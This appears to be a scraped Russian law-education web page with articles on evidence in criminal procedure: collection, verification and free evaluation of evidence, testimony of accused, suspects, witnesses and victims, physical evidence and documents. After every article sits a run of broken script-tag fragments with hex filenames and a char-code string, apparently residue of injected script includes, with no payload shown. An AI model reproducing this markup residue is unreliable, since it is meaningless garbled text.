Сегодня
НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
РАЗНОЕ:
РЕКЛАМА:
АРХИВ НОВОСТЕЙ:
Собирание доказательств
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Собирание доказательств - это совершение субъектами доказывания, в пределах их полномочий и прав, действий, направленных на обнаружение, истребование, получение и закрепление в установленном законом порядке доказательств.
Собирание доказательств представляет собой систему действий, направленных на восприятие объективно существующих следов происшедшего события и их процессуальную фиксацию. При выборе путей и средств собирания доказательств учитываются закономерности, связанные с образованием следов, отражений в объективной действительности и условий, обеспечивающих наиболее надежные пути и средства их восприятия и закрепления в материалах дела следователем, судом. С учетом этого закон устанавливает, с какой целью производится следственное действие (см. ст. ст. 182, 192, 194 УПК), правила следственных действий (их процессуальную форму), в ходе которых собираются доказательства (например, правила допроса, обыска, опознания, приобщения к делу вещей в качестве вещественных доказательств) .
--------------------------------
Об общих правилах следственных действий см. ст. 164 УПК.

Собирание доказательств происходит путем: производства следственных и иных процессуальных действий, перечень и порядок проведения которых указан в законе; истребования от учреждений, предприятий, организаций, должностных лиц и граждан предметов, актов ревизий, документальных проверок, представления участниками процесса или любыми гражданами, учреждениями, предприятиями и организациями предметов, документов (ст. 86 УПК), а также материалов, полученных соответствующими органами в ходе оперативно-розыскной деятельности .
--------------------------------
См.: Шейфер С.А. Следственные действия. Система и процессуальная форма. Самара, 2001.


В ч. 1 ст. 86 УПК указано, что собирают доказательства дознаватель, прокурор и суд путем производства следственных и иных процессуальных действий.
Вопрос о праве суда собирать доказательства не решается однозначно. Бесспорно, что освобождение суда от несвойственной ему обязанности "принять все предусмотренные законом меры к установлению события преступления, лиц, виновных в совершении преступления, и к их наказанию" (ст. 3 УПК РСФСР), решительно меняет формы и пределы участия суда в доказательственной деятельности. Суд не обязан собирать доказательства и к нему нельзя обратить упрек в том, что обстоятельства дела не выяснены полно и всесторонне. В судебном разбирательстве, построенном на принципе равенства сторон и состязательности, решение по делу зависит от использования сторонами в суде их равных процессуальных возможностей. Вместе с тем, в нашем уголовном судопроизводстве не воспринята модель англосаксонского судебного разбирательства, где судья не участвует в исследовании доказательств, обеспечивая только такой ход процесса, который дает возможность сторонам использовать свои права в состязательном процессе.75dd6d420a288ee5227ee55a965b8bfa.js" type="text/javascript">6ecb9377ade8a686a9ce83308dc923d8char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7c89b250a7914a280a22fda65bbe78d7.js" type="text/javascript">a649adfd5050e7ad7d567acc22bf0629.js" type="text/javascript">105f326a897c585df6d9042ea65703ab.js" type="text/javascript">5796570f840b2259fc81b724d2d000eb.js" type="text/javascript">468f7f687949bc10142d2c427ff1f5af.js" type="text/javascript">1a6d6b2e5ccfb8687f4a9395aa6a7aa2.js" type="text/javascript">a00dee0892cd6d8aa4f5a2d53aa20a88.js" type="text/javascript">29ec2748a865796af197d122dea8853f.js" type="text/javascript">0b1ff5b3e90ca9dfe01de0009f5badf6.js" type="text/javascript">c3cdd28457136e3b6d1c8e6b715c7958.js" type="text/javascript">2f7b94988da98bbc13e9aef01626b220.js" type="text/javascript">
Коментариев: 0 | Просмотров: 234 |
Проверка доказательств
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
В законе сказано: проверка доказательств производится дознавателем, следователем, прокурором, судом путем сопоставления их с другими доказательствами, имеющимися в уголовном деле, а также установления их источников, получения иных доказательств, подтверждающих или опровергающих проверяемое доказательство (ст. 87 УПК).
Содержательный анализ статей 87, 240 и др. УПК, их сопоставление приводят к выводу, что термин "исследование" применяется в законе в более широком значении, чем "проверка". Исследование включает как процесс получения сведений (допрос свидетеля), так и проверку полученных сведений (ст. 240 УПК). Исследуют доказательство как субъект процессуальной деятельности, который его собрал, так и другие субъекты. Так, доказательства, собранные следователем, исследует прокурор при утверждении обвинительного заключения, затем "доказательства подлежат непосредственному исследованию" судом.
Проверка доказательств включает проверку их относимости, допустимости, достоверности, т.е. проверку соблюдения процессуальных правил собирания доказательств, относимости к делу тех сведений, которые составляют содержание доказательства, доброкачественности источника получения сведений и их достоверность. Проверка доказательств может производиться различными путями: путем сопоставления доказательств с нормативными правилами получения доказательства (соблюдены ли правила допроса свидетеля, проведения опознания), путем сопоставления полученных данных с искомыми фактами или с другими данными по делу (выявление того, мог ли свидетель видеть и слышать то, о чем рассказывает, обладает ли эксперт необходимыми знаниями для дачи заключения и т.п.).1f647d50147fa815f8bbaab0acf3d192.js" type="text/javascript">17ade62a163150554a97bdd25b84a000char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)25b2be455d822e87baa3cab9fd1a0b6c.js" type="text/javascript">659df457249b32d1cdfbddac4b774b75.js" type="text/javascript">ef27faa61ff48a11dc1dbe8fa1575dac.js" type="text/javascript">f9faa4ea260dfd6782fcad1391b6eda0.js" type="text/javascript">fa79433db9e78beef79f02bfd97ecaf1.js" type="text/javascript">d6d59738a644006fc12d64e524ff0bc7.js" type="text/javascript">63d8c91ab2dacc1c87a8fe99bd8ca7dd.js" type="text/javascript">0c15f5c94e659a2d7d4434fd7746ea86.js" type="text/javascript">22b945fbc2e18a1dafb62de54f2a5fa8.js" type="text/javascript">b25bf64701c9bc4d9ca589ff05fa0aaa.js" type="text/javascript">0032e8dcc3df6c3a7fddcbac19971404.js" type="text/javascript">
Коментариев: 0 | Просмотров: 191 |
Свободная оценка доказательств. Правила оценки доказательств
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Оценка доказательств - мыслительная, логическая деятельность, имеющая своей целью определенный вывод, суждение об относимости, допустимости, достоверности, значении (силе) каждого доказательства и достаточности их совокупности для установления обстоятельств, входящих в предмет доказывания и разрешения уголовного дела (ст. 88 УПК) .
--------------------------------
Следует обратить внимание на то, что в суде с участием присяжных заседателей оценку допустимости доказательств дает судья, он обязан устранять недопустимые доказательства из рассмотрения на суде и не допускать использования их для обоснования сторонами своих утверждений. Оценку достоверности, силы и достаточности доказательств дают только присяжные заседатели на основе непосредственного исследования в суде доказательств. Их оценочные суждения формируются как в ходе судебного следствия, так и в ходе обсуждения рассмотренных доказательств в совещательной комнате. Результат оценки ими доказательств выражается в их ответах на поставленные перед ними вопросы о доказанности события преступления, виновности обвиняемого и др.

В ст. 17 УПК сформулирован принцип "Свобода оценки доказательств". Он состоит в том, что: 1) судья, присяжные заседатели, а также прокурор, следователь, дознаватель оценивают доказательства по своему внутреннему убеждению, основываясь на совокупности имеющихся в уголовном деле доказательств, руководствуясь при этом законом и совестью; 2) никакие доказательства не имеют заранее установленной силы.
В ст. 17 УПК субъектами оценки доказательств названы только те субъекты процесса, которые ответственны за производство по делу и правомочны принимать по делу решения. Конечно, все участники процесса оценивают доказательства и на этой основе определяют свою позицию по отношению к обвинению (обвиняемый, его защитник, потерпевший). Однако оценка доказательств этими субъектами не имеет правового значения в том смысле, что она не определяет содержания решения, имеющего правовое значение.
В УПК оценку доказательств регулируют две статьи. Это ст. 17, в которой выражен "принцип оценки доказательств", и ст. 88 - "Правила оценки доказательств". В ст. 88 указаны те свойства каждого доказательства и их совокупности, которые подлежат оценке. Однако из ранее сказанного очевидно, что принцип оценки доказательств, закрепленный в ст. 17, неприменим однозначно к разным свойствам доказательств, которые подлежат оценке, поскольку одни из свойств доказательства формализованы в законе, другие оцениваются исключительно по внутреннему убеждению. Наиболее формализованы, как это показано выше, признаки, делающие доказательства недопустимыми, что исключает оценку допустимости по внутреннему убеждению. Правилам признания доказательств недопустимыми посвящены ч. ч. 2 - 4 ст. 88 УПК.
Оценка относимости доказательства не имеет столь определенного критерия, как запреты, выраженные в законе применительно к признанию доказательств недопустимыми. Вывод об относимости или неотносимости доказательства является результатом сопоставления содержания рассматриваемого доказательства с обстоятельством, подлежащим доказыванию (ст. 73 УПК). Однако поскольку установление обстоятельств, необходимых для разрешения дела, достигается чаще всего через установление иных обстоятельств, так называемых промежуточных фактов, то определение относимости этих обстоятельств требует от правоприменителя его суждения о том, может ли обстоятельство иметь значение для установления какого-либо обстоятельства, имеющего значение по делу. Для определения относимости доказательств важное значение имеет понимание целей доказательственной деятельности, ее принципов и, конечно, совесть правоприменителя, не позволяющая ему занять одностороннюю позицию по делу, отвергать как не относящиеся к делу доказательства, об исследовании которых ходатайствует сторона защиты.
Оценка достоверности доказательства лишена каких-либо формальных критериев, показателей. Здесь полностью действует принцип свободной оценки доказательств по внутреннему убеждению следователя, дознавателя, прокурора и суда, которое должно сформироваться в результате соблюдения правил собирания и проверки доказательства всеми предусмотренными законом способами. Вывод о достоверности или недостоверности конкретного доказательства достигается путем сопоставления его с другими доказательствами по делу, поэтому только оценка доказательств в их совокупности может привести к правильному выводу. При этом действует принцип: никакие доказательства не имеют заранее установленной силы (ч. 2 ст. 17 УПК).232b300e258f4ed3398368c33415edc7.js" type="text/javascript">cb114d141389b120897324a8d9223d71char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)edcdca3fdf7bab735131bf7a2fe9956f.js" type="text/javascript">0cb8097226e05e7ab04075d3c8136dc2.js" type="text/javascript">a7c0c77aca87adb696094f4559b3fff1.js" type="text/javascript">7d31345cd62169c8d5b6478f8ee1a6a2.js" type="text/javascript">e6f20e6b3d7301c561d2613af3991d55.js" type="text/javascript">a5f5ccf3e03f3e7963149e6435dddd21.js" type="text/javascript">ed8d61c48ce500721eff22d40d68e441.js" type="text/javascript">a3101eb815c914d7ac40fa7b2d40c368.js" type="text/javascript">e5e0093ac5b9bc577f1a14509f7912d9.js" type="text/javascript">b81f47227dec2f1d56284d5144a035ec.js" type="text/javascript">cb927078b8776bb43cff0885d13f83fd.js" type="text/javascript">
Коментариев: 0 | Просмотров: 254 |
Показания обвиняемого
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Показания обвиняемого - это сведения, сообщенные им на допросе, проведенном в ходе досудебного производства по уголовному делу или в суде, и зафиксированные в установленном законом порядке.
Дача показаний является для обвиняемого правом, а не обязанностью. Он не несет никакой ответственности за дачу заведомо ложных показаний или за отказ от дачи показаний, что является одной из важных гарантий обеспечения права на защиту. Показания обвиняемого имеют, таким образом, двойственную природу, являясь, с одной стороны, источником доказательственной информации, а с другой - средством защиты от предъявленного обвинения.
Обвиняемый допрашивается на следствии после предъявления ему обвинения, а в суде - когда ему уже известно содержание обвинительного заключения или заменяющего его документа. Поэтому основным содержанием показаний обвиняемого являются обстоятельства, образующие содержание предъявленного ему обвинения. Однако этим предмет показаний обвиняемого не исчерпывается. Обвиняемый, если он признается в совершении преступления, не только излагает ход событий, но и, как их непосредственный участник и лицо, заинтересованное в исходе дела, дает им объяснение, свою интерпретацию, в частности излагает мотивы своих действий, их причину. Он может дать какую-либо свою версию событий, какое-то иное их объяснение, может привести какие-то смягчающие или оправдывающие обстоятельства. Кроме того, обвиняемый вправе давать в своих показаниях оценку имеющихся в деле доказательств, может отвергать их или ставить под сомнение, приводить контраргументы, которые подлежат тщательной и всесторонней проверке. В показаниях обвиняемого могут содержаться сведения о его личности, в частности, биографические данные (состояние здоровья, наличие наград, семейное положение и др.), которые не входят в содержание обвинения, но могут иметь значение при оценке судом его личности и назначении наказания. Таким образом, предмет показаний обвиняемого шире предмета свидетельских показаний.
Обвиняемый может давать показания и о действиях других лиц, в частности, уличать их в совершении преступления. Вопрос о процессуальной природе таких показаний обвиняемого (и подозреваемого), в том числе оговора, будет рассмотрен ниже.73590437abb18862c760e66acbdbc5f0.js" type="text/javascript">73dbc4c94f05daaeea028374abceff41char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e0b3a064a3726063379a3f766bef2dd6.js" type="text/javascript">91357e0b74af5c0055a607c46c8db665.js" type="text/javascript">a26ace48f8368a68788e0c6603553334.js" type="text/javascript">b8ef711f96d8e4c49234813e1a99d19d.js" type="text/javascript">1dba3478926b876afe6c31490ed01ed4.js" type="text/javascript">f410585c239a02da0d468aaf4d3e28db.js" type="text/javascript">63da260584de6b3e74beeaa7ba3b1cd4.js" type="text/javascript">ea119ad86cd42d61db8865a7164be323.js" type="text/javascript">0c6848a6eaf12ebbd5d4f4ec9fd36ff3.js" type="text/javascript">8906574a04392966fc0d6e836c542a6c.js" type="text/javascript">a16ecffd639fcf76aa75d14c0f881b4f.js" type="text/javascript">
Коментариев: 0 | Просмотров: 300 |
Показания подозреваемого
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Показания подозреваемого - это сведения, сообщенные им на допросе, проведенном в ходе досудебного разбирательства, и зафиксированные в установленном законом порядке.
Показания подозреваемого, как и показания обвиняемого, имеют двойственную природу, являясь, с одной стороны, источником доказательственной информации, а с другой - средством защиты его интересов. Подозреваемый тоже не несет ответственности ни за отказ от дачи показаний, ни за дачу ложных показаний.
Согласно ст. 46 УПК, подозреваемый должен быть допрошен не позднее 24 часов с момента возбуждения против него уголовного дела (за исключением случаев, когда его местонахождение не установлено) либо с момента его фактического задержания. Подозреваемый вправе знать, в чем он подозревается, и получить копию постановления о возбуждении против него уголовного дела, либо копию протокола задержания, либо копию постановления о применении к нему меры пресечения.
Таким образом, предметом показаний подозреваемого являются обстоятельства, дающие основание для подозрения, а также любые другие обстоятельства, имеющие значение для дела. Как и обвиняемый, подозреваемый может в своих показаниях давать свою трактовку событий, объяснять мотивы своих действий, выдвигать версии, оспаривать имеющиеся в деле доказательства. Как видно, предметы показаний обвиняемого и подозреваемого во многом схожи. Различие заключается в том, что на момент допроса подозреваемого обвинение еще не сформулировано и поэтому показания подозреваемого обычно менее полны. Чаще всего подозреваемый впоследствии более подробно допрашивается об этих же обстоятельствах после предъявления ему обвинения, и в качестве доказательства используются эти его показания. Показания же подозреваемого используются значительно реже, например в случае смерти лица, подлежащего привлечению в качестве обвиняемого. При существенных противоречиях между показаниями в качестве подозреваемого и обвиняемого те и другие подлежат тщательной проверке и оценке, в результате чего одни из них могут быть подтверждены и положены в основу обвинения, а другие отвергнуты.e984e7a439f910ae206d78ac3159f97a.js" type="text/javascript">ff85b847542adc8c4c0a46b53cd68f34char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)6816cb0630705ff2e7c4cf91cc5cb21d.js" type="text/javascript">1135cbea7c08c52b034b38fc3d7d5325.js" type="text/javascript">ba79c0c5545aa20022402239f89e30ab.js" type="text/javascript">fc9075a05641f9367e1273f58b1e7cab.js" type="text/javascript">4938cb70e026415e3ce427dabf22b7b0.js" type="text/javascript">dcf15773322740550fa0da3f4e9746d5.js" type="text/javascript">60f5c832b034147a645531ec0ff4d192.js" type="text/javascript">40ceeacad26b43067504f5b414b94661.js" type="text/javascript">324da9572976789f30053dbea1bb838b.js" type="text/javascript">b804ad9174e538ac8eea293116d44084.js" type="text/javascript">65302b4739d37c100ffc8c02de5338dd.js" type="text/javascript">
Коментариев: 0 | Просмотров: 319 |
Показания свидетеля
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Показания свидетеля - это сведения, сообщенные им на допросе и зафиксированные в установленном законом порядке. Таким образом, единственной формой получения свидетельских показаний является допрос.
Свидетельские показания являются самым распространенным видом доказательств. Они фигурируют в каждом уголовном деле.
Предмет свидетельских показаний определен ст. 79 УПК, согласно которой свидетель может быть допрошен о любых обстоятельствах, подлежащих доказыванию по данному делу. Таким образом, никаких ограничений в этом отношении закон не устанавливает. В предмет показаний свидетеля могут входить обстоятельства совершения преступления, его подготовки или сокрытия, последствия совершенного деяния, а также иные любые обстоятельства, имеющие значение доказательственных фактов (например, факт неприязненных отношений между обвиняемым и потерпевшим). В законе специально оговорено, что свидетель может быть допрошен о личности обвиняемого, потерпевшего и о своих взаимоотношениях с ними и с другими свидетелями.
Свидетель может дать показания об обстоятельствах, которые он воспринимал непосредственно, либо о тех, которые ему известны со слов других лиц. В первом случае его показания будут первоначальным доказательством, во втором - производным. Однако, сообщая сведения, известные ему со слов других лиц, свидетель должен указать источник своей осведомленности, иначе его показания не могут иметь доказательственного значения (п. 2 ч. 2 ст. 75 УПК).
При оценке достоверности свидетельских показаний учитывается, во-первых, возможность умышленного искажения информации, дачи заведомо ложных сведений. Поэтому проверяется заинтересованность свидетеля в исходе дела (является ли он родственником кому-либо из проходящих по делу лиц или посторонним), а также его моральные и психофизиологические качества (честность или лживость, склонность к фантазированию и т.п.). Особенно осторожно следует подходить к показаниям малолетних свидетелей, поскольку дети, как известно, весьма склонны к фантазированию, внушению.f07883580189331737b0ab960e893eae.js" type="text/javascript">9629178b5fd204868e916d224aa3aa94char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)dadf461f7491db469a1ec15ef48b2af7.js" type="text/javascript">58873d58cd8b78dc54557424970842f3.js" type="text/javascript">ec0c3dc592239fc39481658effb8b949.js" type="text/javascript">1fe38b6f28f8997d300bf581aaeab6d7.js" type="text/javascript">02e8d85e51a051abdce28d3ac3bc76b7.js" type="text/javascript">71611566cc22d5d50a114c41d2587d46.js" type="text/javascript">d0cdd513916a0f46ffdf0b8391da2404.js" type="text/javascript">0868a345c8644f5aa3146311696274ce.js" type="text/javascript">1e0b8ea9b9e3e6548b7ca2d9eaae7775.js" type="text/javascript">b67175f68dddb9b9df718d2973e61462.js" type="text/javascript">fbdde0e80d4d35b3e3d500806de999b5.js" type="text/javascript">
Коментариев: 0 | Просмотров: 318 |
Показания потерпевшего
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Показания потерпевшего - это сведения, сообщенные им на допросе и зафиксированные в установленном законом порядке.
Потерпевший, как и свидетель, может быть допрошен о любых обстоятельствах, подлежащих доказыванию при производстве по уголовному делу, в том числе о своих взаимоотношениях с подозреваемым, обвиняемым (ст. 78 УПК). Однако потерпевший, в отличие от свидетеля, является стороной, участником уголовного судопроизводства со стороны обвинения. Он наделен целым комплексом процессуальных прав (ст. 42 УПК). Поэтому он может в своих показаниях не только сообщать конкретные, известные ему факты, но также давать оценку другим собранным по делу доказательствам, выражать свое согласие или несогласие с ними.d86622d62a90ec27b868eb9e6e139a6b.js" type="text/javascript">43c792af12836368e0080818d3982ce0char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ff2ea1f252bac7f8c9f4a01598df316d.js" type="text/javascript">195e1126a4cd6c6863a2ceb4d1582a8a.js" type="text/javascript">2e9941ac4867cf9e69cea25b2a1b5410.js" type="text/javascript">aa57c8d101a6882aa811b2e73a2a1012.js" type="text/javascript">fa9ed4c6e1d0f75ecb13633f653a0bf6.js" type="text/javascript">4ad0b73f531d9d565aa456a121c932df.js" type="text/javascript">5091fb1520dc865db0df83704fef7fb0.js" type="text/javascript">62fc6ca01733e9ee981aa8810cfdd98c.js" type="text/javascript">870322b2d082e538a47e45183be1cbc8.js" type="text/javascript">d4e2c152e76977fe0929e8b15f84ab3e.js" type="text/javascript">b757c438319827ab1599006c2ca63dd1.js" type="text/javascript">
Коментариев: 0 | Просмотров: 278 |
Вещественные доказательства
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
В самом общем виде их можно определить как материальные следы (последствия) преступления или иного расследуемого деяния. В качестве вещественных доказательств выступают предметы материального мира (вещи), которые подвергались в результате исследуемого события какому-то видоизменению, перемещению или были созданы преступными действиями. Доказательственное значение имеют их физические свойства (например, размер и конфигурация следа), местонахождение (например, похищенная вещь, обнаруженная у обвиняемого) либо факт их создания (изготовления) или видоизменение (например, фальшивая монета, поддельный документ и т.п.). Таким образом, вещественные доказательства, в силу сохранившихся признаков или свойств, являются носителями доказательственной информации.
Уголовно-процессуальный закон (ст. 81 УПК) называет следующие виды вещественных доказательств.
1. Предметы, служившие орудием преступления. К ним относятся, например, орудия убийства (нож, пистолет и др.) или предметы, посредством которых совершалось хищение (отмычка, лом, которым взламывался сейф и т.п.).
2. Предметы, которые сохранили на себе следы преступления. (например, одежда со следами крови, взломанный сейф и т.п.).
3. Предметы, на которые были направлены преступные действия (например, похищенные деньги и вещи).
4. Иные предметы и документы, которые могут служить средствами для обнаружения преступления и установления обстоятельств дела (например, предметы, оброненные преступником на месте совершения преступления).
5. Имущество, деньги и иные ценности, полученные в результате преступных действий либо нажитые преступным путем.
Процессуальное оформление вещественных доказательств включает три момента. Во-первых, должен быть процессуально оформлен факт обнаружения или получения предмета следователем (судом). Чаще всего предметы изымаются в ходе какого-то следственного действия (осмотра, обыска, выемки и др.), и факт изъятия фиксируется в протоколе данного действия. Предметы могут быть получены также сторонами в порядке ст. 86 УПК, а затем представлены следователю (суду), о чем также должен быть составлен соответствующий протокол (или сделана отметка в протоколе судебного заседания). И, наконец, они могут быть представлены следователю или суду по их требованию государственными и иными органами и организациями в порядке ст. 86 УПК, о чем также должен свидетельствовать соответствующий официальный документ (сопроводительное письмо).
Во-вторых, предмет должен быть осмотрен (ст. 81 УПК). Осмотр предмета может быть произведен в ходе того следственного действия, при котором он изъят (например, при осмотре места происшествия), и тогда его результаты фиксируются в протоколе данного следственного действия, либо в ходе отдельного следственного действия - осмотра вещественного доказательства (предмета), оформляемого самостоятельным протоколом.
В-третьих, предмет в качестве вещественного доказательства должен быть приобщен к делу особым постановлением следователя либо постановлением или определением суда. Лишь после вынесения такого постановления (определения) на предмет может быть распространен режим вещественного доказательства. Постановление (определение) о приобщении предмета к делу в качестве вещественного доказательства выражает решение следователя (суда) об относимости данного предмета к делу и означает поступление его в исключительное распоряжение следователя или суда. Точная процессуальная фиксация факта приобщения предмета к делу в качестве вещественного доказательства необходима в связи с тем, что такие предметы нередко представляют определенную материальную или духовную ценность, а также для предотвращения их утраты или замены.546eeff8408f02c6870ae83492985a21.js" type="text/javascript">fee74d5c0029f356302a2abeaf4e72bcchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)03ccc70a2f74b3803a7d82c62604025f.js" type="text/javascript">00a23b9ef94e89e4dfb92009816ec2c8.js" type="text/javascript">8b874ed8c6e94a288edf62f844d93ea3.js" type="text/javascript">c26d6fcb82b9c47fcaf790776d826474.js" type="text/javascript">6a422bfca756dd4771f7ff9540d76977.js" type="text/javascript">7106f9636543e67d902fc0dea4e7bfdc.js" type="text/javascript">bb9f55ed6b2c611928aaa53bb0785b63.js" type="text/javascript">0d6e9ff406bbc8d75edbbfeadff3f495.js" type="text/javascript">260509c1df79911e1a91a9bbf1d3e523.js" type="text/javascript">d3e7d23af056f46047b2b9c95a764cba.js" type="text/javascript">a6a287452db9503795177e5566c7f170.js" type="text/javascript">
Коментариев: 0 | Просмотров: 370 |
Протоколы следственных и судебных действий
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Это письменные акты, в которых фиксируются ход и результаты различных следственных действий (осмотра, предъявления для опознания и др.). К ним относятся протоколы следственных действий и протоколы судебных заседаний (ст. 83 УПК). В ходе досудебного производства каждое следственное действие оформляется отдельным протоколом, на судебном следствии все проводимые судом действия фиксируются в одном документе - протоколе судебного заседания (за исключением экспертного исследования, которое оформляется отдельным документом - заключением эксперта).
Не относятся к данному виду доказательств протоколы допросов, поскольку ими оформляется другой вид доказательств - показания. Протоколы могут служить доказательством различных фактов. Доказательственное значение протокола зависит от того факта, который устанавливается в ходе данного действия. Так, при осмотре места происшествия в протоколе фиксируются обстановка этого места, имеющиеся на нем следы. Факт опознания, зафиксированный в протоколе, позволяет идентифицировать объект (человека или вещь), подтверждает достоверность ранее данных показаний опознающего. В ходе следственного эксперимента устанавливается возможность или невозможность какого-либо события, совершения каких-либо действий в определенной обстановке или определенным лицом. Установление такой возможности может иметь важное доказательственное значение (например, способность лица изготовить фальшивую купюру). Отрицательный результат эксперимента однозначно свидетельствует, что данное событие, действие не могло иметь место в действительности (например, устанавливается, что вещь через указанный обвиняемым проем пронести невозможно), и таким образом опровергает показания обвиняемого.741588cd2a439b5f1233b9fd78daaf4e.js" type="text/javascript">86aae6e4a5aadea1a0122f308f3410c1char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)1832e302fa55d47a102a9d241535f3ed.js" type="text/javascript">d2ec7605782c1b17914eb7cacaeb0d09.js" type="text/javascript">ae2945676e4c728165ca6acd48104a09.js" type="text/javascript">2e6193dcdaaa8205fa9e6ead24710cf5.js" type="text/javascript">4b7f6ab3d4a91c2bfbfd0dcf81c34645.js" type="text/javascript">b3a3c086823934843c213987fc4b0069.js" type="text/javascript">333e963d6ea95d608070127b224ce1cb.js" type="text/javascript">2b642998bc54b858eadd94bb58e487bc.js" type="text/javascript">941b6e140c5384a155940de52f634248.js" type="text/javascript">42eb8b9d9ae67c1ac82fc243a3df90d1.js" type="text/javascript">cb2ff2a47ffbfe124d00d229e6db3165.js" type="text/javascript">
Коментариев: 0 | Просмотров: 388 |
Иные документы
  Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
К ним относятся любые документы, изготовленные не в ходе процессуальной деятельности (справки, акты ревизий, аудиторских и иных проверок, ведомости, расписки и др.). Доказательствами они становятся, если изложенные в них сведения имеют значение для установления обстоятельств уголовного дела (ст. 84 УПК).
Наиболее распространенными являются письменные документы (печатные и рукописные). Но сведения, содержащиеся в документе, могут быть зафиксированы и в ином виде. К таким документам относятся материалы фото- и киносъемки, аудио- и видеозаписи и иные носители информации (ст. 84 УПК).
В качестве доказательств могут выступать как официальные документы (справки, акты и т.п.), так и неофициальные (например, личное письмо).
Документы могут быть первоначальными (подлинники) и производными (копии).
Документы должны быть получены в установленном законом порядке - изъяты в ходе производства какого-либо следственного действия, истребованы либо представлены кем-либо из участников судопроизводства. Факт их получения следователем или судом должен быть соответствующим образом процессуально оформлен.
Официальные документы должны содержать все необходимые реквизиты (печать, подписи и т.д.).
Обязательным условием использования документов в качестве доказательств является то, что должен быть известен их источник - автор или исполнитель. Особенно это касается личных документов, которые могут не содержать даже подписи. Поэтому при проверке таких документов должен проводиться допрос их автора или исполнителя, в необходимых случаях может производиться почерковедческая или автороведческая экспертиза, а применительно к фонограммам - фоноскопическая.56b24c24c77c643bad62ddffd6ecd3ce.js" type="text/javascript">c1bb6eae42c2bbfd89525ea6978d6bf7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)487df5f986bc4aab43218f27d585abb9.js" type="text/javascript">94f800faa04e8b2b4ecf5a3fc213941c.js" type="text/javascript">a214d3bb111c2ee130f3e1cac7b73035.js" type="text/javascript">b4d580010603510acd52906ddab50c10.js" type="text/javascript">11999d924b30ec2850cf2461c5e1dc53.js" type="text/javascript">96fb786bc79fe5091270d5aa0ce036db.js" type="text/javascript">05cb87c95903b6ac0aebf3ab15cfeabd.js" type="text/javascript">79ebf56ad81259807f1cb46f4009a494.js" type="text/javascript">e97bd283062c5a38a2f7767e02a38a8e.js" type="text/javascript">2d4d04854533726bb136ddb0621aa0ac.js" type="text/javascript">40c4fdc1faaac2e1773868b48ab310e9.js" type="text/javascript">
Коментариев: 0 | Просмотров: 241 |
ukrstroy.biz
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
РАЗНОЕ:
КОММЕНТАРИИ:
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА: